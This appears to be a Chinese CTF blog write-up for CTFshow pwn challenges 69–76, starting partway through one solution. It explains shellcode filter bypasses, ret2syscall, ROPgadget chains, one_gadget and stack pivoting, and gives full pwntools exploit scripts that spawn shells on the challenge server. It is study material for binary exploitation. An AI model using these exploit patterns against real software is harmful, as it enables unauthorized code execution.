
shellcode1=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload=shellcode1.ljust(0x28,b'a')+p64(jmp_rsp)+asm('sub rsp,0x30; jmp rsp')
io.recvuntil("to do\n")
io.sendline(payload)

shellcode2=asm(shellcraft.open("./ctfshow_flag"))
shellcode2+=asm(shellcraft.read(3,mmap,0x100))
shellcode2+=asm(shellcraft.write(1,mmap,0x100))
io.sendline(shellcode2)

io.interactive()

ctfshow{3c12e521-487b-4c05-a2df-04129cf19c59}

pwn70

我盲猜一波这个是刚刚的题目差不多的,但是要我们自己搞

刚刚其实也是自己搞吧?虽然我是看着wp一步步做下来的

有/flag,我估计还是个ORW题目

保护:

不对啊!怎么开了栈金丝雀啊

能用seccomp-tools欸,我看好像只有有这个函数的才能用这个工具,别的都会直接执行源文件

看上去只过滤了execve执行函数而已

主函数不让反编译啊,大致看看,这边有个is_printable函数

这是可以反编译的

进去可以看到这边只允许可打印字符通过

有点像pwn66那道题

这边的for函数也是以strlen作为循环次数评判的

所以我们完全可以以”\x00”来开头然后直接避开其检测

看见\x00,strlen就以为自己统计完了,然后这个for循环就贼短就直接没了

好那后边我们直接连上shellcode就是了

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28226)

shellcode=asm(shellcraft.cat("/flag"))
payload=b"\x00B\x00"+shellcode
io.recvuntil(" name:\n")
io.sendline(payload)
io.interactive()

ctfshow{8850bdf7-bf00-43f4-8be2-9fc309a2175d}

pwn71

保护:

开了NX,但是是静态环境,ret2syscall的一大特点

好了,这一题都是新知识了,什么是ret2syscall

噢原来ret2系列都是主要执行system(“/bin/sh”)来提权

但是不同程序情况不一样

ret2syscall属于程序中不存在system(“/bin/sh/“)的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用的情况

这边是最简单的最低程度的知识理解程度,说的比较浅,知识告诉你当你把系统调用号eax写入0xb,然后第一个参数ebx指向/bin/sh,ecx和edx都是0,这个时候执行int 0x80这个发射按钮,就能执行系统调用

有点太浅了,为什么能这样子做到呢?

主要还是由于syscall这个函数系统调用的特性,就是我们的Linux在x86上的系统调用通过的就是这个int 0x80执行的,当执行int 0x80时,就会调用系统,但哪个呢?就要通过系统调用号来区分入口函数

所以我们需要把系统调用号存入EAX,然后把函数的参数延后全部输完,最后int 0x80

*冷知识:execve的系统调用号就是0xb

大概就是这样子的意思吧

好了知道的差不多了,我们就是要把4个寄存器都合我心意填完就是了

先看看我们程序的四个寄存器

1
2
ROPgadget --binary ./pwn71 --only "pop|ret"|grep eax
ROPgadget --binary ./pwn71 --only "pop|ret"|grep ebx

大概就是这个命令

eax=0x80bb196

然后后边继续

欸都在这边了

ebx_ecx_edx=0x806eb90

ebx是用来传参的,后边跟着的就是接下来要传进去的ecx和edx

ebx里边传/bin/sh,然后剩下的ecx和edx里边要传入0

这边找一下有没有/bin/sh

ROPgadget –binary “pwn71” –string”/bin/sh”

有的嗷,在0x080be408

好了,我们知道最后要传什么到哪里了

先溢出,然后构造好几个寄存器,最后int 0x80就行

int 0x80也是现成的,就在0x08049421这边

好现在都齐了,找一下偏移量

这边我们参照pwn60的找偏移量方法,直接看看不见

步骤一样的,可以看到偏移量为112

OK齐了,写代码,注意这边传给那个三个参数的时候由于栈的结构特性需要反着先写第三个,然后再是第二个第一个(主要这寄存器也是反着来的啊,所以写成edx_ecx_ebx或许会更好)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show", 28311)

eax=0x80bb196
ebx_ecx_edx=0x806eb90
bin_sh=0x080be408
int_0x80=0x08049421
padding=112

payload=b"a"*padding+p32(eax)+p32(0xb)+p32(ebx_ecx_edx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
io.sendline(payload)

io.interactive()

ctfshow{b68cd853-b6f7-49c7-8c85-e7bd7b8ce7ef}

pwn72

保护:

依旧是ret2syscall,只开了NX然后是静态的

这题似乎是删去了/bin/sh的内容,也就是说这东西要我们自己找了

这边可以看到eax和ebx都在

eax=0x080bb2c6

edx_ecx_ebx=0x0806ecb0

int 0x80也还在

int_0x80=0x08049421

这边的int 0x80还不能直接这样子搜,这个不对

要去ida->search->sequence of bytes来查找80CD的方式找到不同地址的int 80

搜索结果如上图

这边首先要确定看Instruction栏,看看是不是真正的int 0x80,而非拿来比较的80CD

然后是看Function,确定用途

这边可以看到有个直接就是sysinfo的,直接启用系统调用了 ,所以我们选用的是这一个

int_0x80=0x0806f350

按照上题同样做法,很容易确定我们的偏移量为44,直接cyclic就找到了

所以我们现在只缺了/bin/sh字符串的内容

只要找到即可

这边考虑在bss利用read函数写入

bss字段可写可读

bss_addr=0x080EAF80

我们可以一开始先利用一次ret2syscall来调用read(0, bss_addr,0x10)

eax写上系统调用号,在32位里read函数是0x3

这边确实是要确定一下32位和64位的差别

后边再调用一次

等于拼拼图构造了俩函数

read(0,bss_addr,0x10)

execve(bss_addr,0,0)

所以我们构造完payload之后sendline过去,然后要再sendline一个bss内部的内容,也就是b’/bin/sh\x00’最后写个终止符,保证其写到这边就结束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show", 28262)

eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
int_0x80=0x0806f350
bss_addr=0x080EAF80

payload=b"a"*44+p32(eax)+p32(0x3)+p32(edx_ecx_ebx)+p32(0x10)+p32(bss_addr)+p32(0)+p32(int_0x80)
payload+=p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)

io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()

ctfshow{5d2ddcb8-d403-43d9-9708-566ff9160f58}

pwn73

?还有福利题的吗

保护:

还是NX静态,有点像还是ret2syscall

但是这边让我们用一把梭,可以注意到这种开了NX然后静态链接的题目的确是很适合直接用ROPgadget一把梭

我们很容易在主函数的show函数中找到栈溢出的点

ROPgadget –binary pwn73 –ropchain

直接让ROPgadget帮我们搞出来

其实我感觉基础的ret2syscall就是都可以直接拿来ropgadget一把梭的

两者的要求几乎差不多

但是ropgadget应该只能做一点最基础的

直接就出来了

溢出要我们自己写一下

0x18+4

可能是python或者pwntools版本的问题,ropgadget生成的pack无法正常运行,我们简单替换为p32()即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from struct import pack
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28231)
padding=0x18+4

# Padding goes here
p = b'a'*padding
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080b81c6) # pop eax ; ret
p += b'/bin'
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b81c6) # pop eax ; ret
p += b'//sh'
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x08049303) # xor eax, eax ; ret
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080de955) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x08049303) # xor eax, eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0806cc25) # int 0x80

payload=p

io.sendline(payload)
io.interactive()

ctfshow{9cf31bb0-b980-4fac-8391-af96c03e33e1}

pwn74

保护:

我超,全开动态

这边主要感觉是教学什么是one_gadget的

搜一下吧先

这就是个直接在libc里搜索可以直接拿来提权的代码片段的工具,这些代码片段只要满足特定条件就能直接拿来得到shell,算是刚刚一把梭的麻烦一点版本

当存在libc泄露,知道libc版本的时候,我们就可以利用one_gadget来快速控制指令寄存器开启shell。这种不用像ret2libc那样去逐个构造寄存器的值来实现系统调用,而是拿libc中现成的函数,直接用。

所以我们要先知道libc版本,然后去找到其得到shell需要满足的条件

这边可以看到我们的puts是从6C0开始的

我们利用网站先找找这玩意的libc版本是多少

libc搜索链接

当然也可以直接ldd pwn74,可以发现是使用的libc.so.6 ,对应本地文件的位置/lib/x86_64-linux-gnu/libc.so.6

所以这边我们利用one_gadget看看需要满足的条件

one_gadget /lib/x86_64-linux-gnu/libc.so.6

这里constraints里面就是我们要使用这个gadget需要满足的条件

我们可以先gdb动调,给main函数打断点之后r过去

然后用x/s来看看这个地方是不是NULL

这边可以看到我们的第三个情况是对的

one_gadget=0x10a2fc

当然我们也可以一个个尝试,不行就换,不过感觉有点蠢

然后就能找到真正的execve地址,这个是偏移地址,是需要加上我们基地址变成真实地址才行的

所以我们这边需要先泄露出libc基址

我们放到ida先

在ida里可以看到我们这边直接printf出了printf的真实地址,直接泄露出来了

我们只需截取就能得到其真实地址,之后再去减掉其偏移地址就能得到基地址了

所以先截取print_addr=int(io.recvuntil(“ “),16)

如此一来

libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)

libc_base=print_addr-libc.symbols[‘printf’]

我们也就得到了基地址

所以我们可以在这边编写代码

注意前边截取完调成int,然后后边send前再调成str

否则前边加减不了,后边传输不了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28126)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

io.recvuntil("this:")
print_addr=int(io.recv(14),16)
libc_base=print_addr-libc.symbols['printf']

one_gadget=0x10a2fc
one_gadget_final=libc_base+one_gadget

io.recvuntil("?\n")
io.sendline(str(one_gadget_final))

io.interactive()

ctfshow{45c18652-bd54-4748-8b48-ad96e2dae207}

pwn75

保护:

开了NX的动态32位pwn

这边可以看到栈溢出的部分限制输入0x30,然而溢出需要0x28+4

也就是说,溢出部分后我们只能写4个字符

这其实是很多比赛都在考的一部分,很多比赛都故意把栈搞的很小,一部分是限制输入的shellcode长度,而另一部分我想或许就是本题涉及的知识点——栈迁移

在开始本题前依旧是喜闻乐见的知识点思考环节,这边放一下何神强推的文章,链接

甚至为我们再次叙述了栈溢出的本质,说的确实很好

所以若是遇到了栈太小的情况,即栈已经没有我们的容身之处,我们就只能迁移开来,去别的地方进行操作

我们在调用foo函数的时候主要做的是三件事

1,牢记foo结束之后返回哪边

2,牢记上层函数的栈底

3,牢记foo函数栈开始的地方

然后foo结束之后,会调用leave和ret两条指令

这两条指令干的活就像之前的逆过程一样

1,清空栈,还原栈空间

2,还原栈底

3,还原执行流

而在这个过程中,栈顶指针的内容由ebp寄存器控制

但ebp是可以被篡改的

篡改的话,mov esp,ebp之后,esp也**有可能**会被篡改

从而之后pop eip的eip与执行流也被篡改

这就是攻击的漏洞

为什么说有可能,是因为这边有顺序啊,一般肯定难改啊

但是扭曲顺序不就是了

我们把栈上的内容换为leave ret的地址

直接返回到leave函数地址,从而我们可以执行两次leave,一次ret

所以这边pop ebp之后,eip会再干一次mov操作

所以我们就可以先改再mov,这样子连过去改esp,把他骗到别的地方去了

这也就是栈迁移的内容了

栈迁移的具体步骤

具体的步骤如图,来两次了

首先我们需要确定缓冲区变量溢出的时候至少能覆盖俩位置,就是意思是不能太小,小到完全没有那根本就搞不了,这边有4个位置,算是正好

接下来第二步找我们迁移到哪里去,记这个地方为HijackAddr,这个要具体题目具体分析

第三步找一段leave ret gadget的地址,记这个地方叫LeaveRetAddr

1
ROPgadget --binary ./pwn75 --only "leave|ret"

确定在0x080484d5的地方

LeaveRetAddr=0x080484d5

(其实这上边任意一个都一样)

第四步,设置缓冲区变量,使其将栈上 ebp 覆盖为 HijackAddr-4,将 ret 覆盖为LeaveRetAddr

第五步开始执行指令,共6条,两个Leave-Ret序列:

第一阶段:

1,执行指令:mov esp, ebp,还原栈顶指针至当前函数栈底;此时 esp 指向栈上被篡改的 ebp 数据,即 HijackAddr-4;(让esp指向ebp先)

2,执行指令:pop ebp,将篡改的HijackAddr-4放入 ebp 寄存器内;此时 esp 上移,指向栈上被篡改的 ret 数据(相当于leave,这边在往ebp里塞东西,塞我们会ret到leave的位置)

3,执行指令:pop eip,将LeaveRetAddr放入eip寄存器内,篡改执行流,以执行第二遍leave指令;(相当于ret,跳到leave指令处,载入第二步塞进去的地址,准备第二次leave)

第二阶段:

4,执行指令(第二遍的leave指令):mov esp, ebp,将HijackAddr-4移入 esp 寄存器内,即栈顶指针被劫持指向了 HijackAddr-4,发生了栈的迁移;(再一次指向ebp,发现被变了,栈也就迁移过去了)

5,执行指令(第二遍的leave指令):pop ebp,无实际效用,ebp寄存器仍为HijackAddr-4,但此时esp 被拉高4个字节,指向HijackAddr;(第二个leave,但已经无意义了)

6,执行指令:pop eip,将HijackAddr移入eip 内,成功篡改执行流至shellcode区域;(我们现在返回ret,就会迎来我们的HiJackAddr地址,也就是我们放Shellcode的地方)

第六步就是提权执行了

栈迁移的实施条件

就题论题

好了我们大概理解之后就可以开始就题论题了

这边我们在ida是可以看到system的

我们只需要写/bin/sh就好

system=0x8048400

我们的劫持目标地址,即最终目的地HiJackAddr为缓冲区变量 s 的起始地址。要计算这一地址,可采取 栈上ebp + 偏移量的方法

栈上ebp可由 printf 函数泄露得到

而偏移量的确定则需要进行调试分析

如图所示,我们动调在第二个read这边之后设置断点,r过来,然后先正常输入,第二次输入的时候仅输入 aaaa 进行定位

这样子之后就能看看了

直接stack 30看看栈情况

由图可知,此时 esp 位于 0xffffcf10 处,即缓冲区变量开头的’aaaa’,ebp寄存器位于 0xffffcf38,而该地址所存内容,即栈上 ebp 为 0xffffcf48,为上层main函数的old ebp。old ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方。

我们的代码要先截获old_ebp,然后去减0x38,最后把这个值递给ebp,从而传给esp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch='i386',log_level='debug')
io = remote("pwn.challenge.ctf.show",28297)

elf = ELF('./pwn75')
system = elf.plt['system']
#system=0x8048400(都一样)
LeaveRetAddr=0x080484d5

io.recvuntil('codename:')
payload1=b'a'*0x1D+b'zhaodaonile'
#是一样的,加起来28个字符就行,用ljust也一样,为了做个坐标,好发完之后截取
io.send(payload1)
io.recvuntil('zhaodaonile')
old_ebp=u32(io.recv(4).ljust(4,b'\x00'))
HiJackAddr=old_ebp-0x38
#算出HiJackAddr了

payload2=(p32(system)+b'aaaa'+p32(HiJackAddr+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(HiJackAddr-4)+p32(LeaveRetAddr)
io.recvuntil('do?')
io.send(payload2)
io.interactive()

p32(HiJackAddr+12): 这是system函数的参数。它指向字符串/bin/sh的地址。HiJackAddr+12的计算逻辑是:HiJackAddr是迁移后的新栈顶,从新栈顶开始跳过p32(system)(4字节)和b'aaaa'(4字节)以及p32(HiJackAddr+12)本身这4个字节的地址,总共12字节,正好指向后面的/bin/sh字符串。

其实就是32位传参,精准找到/bin/sh之后把这个传过去

补满28个之后,写上HiJackAddr的前4位,这玩意会被弹到ebp里,然后弹给esp,准备好第二次leave,这边减4是为了保证从ROP链的开头开始执行

最后把返回地址覆盖为第二次leave就好

终于完成了!!!!!!!!

ctfshow{16f47ea2-9a94-43c7-9dbb-4fea7eeda47a}

还有需要注意的是我们这边只能用send函数,不能用sendline去传

pwntools中send和sendline的区别

https://www.cnblogs.com/ZIKH26/articles/15855666.html

pwn76

保护:

欸?静态,开了栈金丝雀?

开了栈金丝雀估计就要绕绕了,跟题目说的一样,得理清逻辑

尝试运行一下看看:

这是什么哈希,看起来是假的

ida看看吧还是

这边可以看到程序里就有现成的后门函数

我们只要能进到这个correct函数里,然后做到让input等于0xDEADBEEF就行了

这怎么那么像逆向啊

好理一下程序在干啥

一开始读取0x30以内的输入,然后进Base64Decode函数

函数执行后,解码出的原始数据长度保存在返回值 v7中,而解码后的数据本身则存放在由指针 v5所指向的内存位置里。Base64编码常用于将二进制数据转换为可打印的ASCII字符,以便于传输。这里进行解码是为了还原用户输入的原始数据。

接着去进行长度校验与数据复制:程序检查解码后的数据长度是否大于0xC(即十进制的12)。如果超过12字节,就会输出 “Input Error!”。

只有长度不超过12字节时,程序才会将解码后的数据复制到一个全局变量input中。

最后进行验证

程序调用auth函数对复制到input中的数据进行验证。如果 auth函数返回1,则调用我们的后门函数,这很可能意味着成功获取了flag

等等,我再想想,脑子要烧起来了


CTFshow-Pwn-10月记录
https://mei-you-qian.github.io/2025/10/31/CTFshow-Pwn-10月记录/
作者
Meiyouqian
发布于
2025年10月31日
许可协议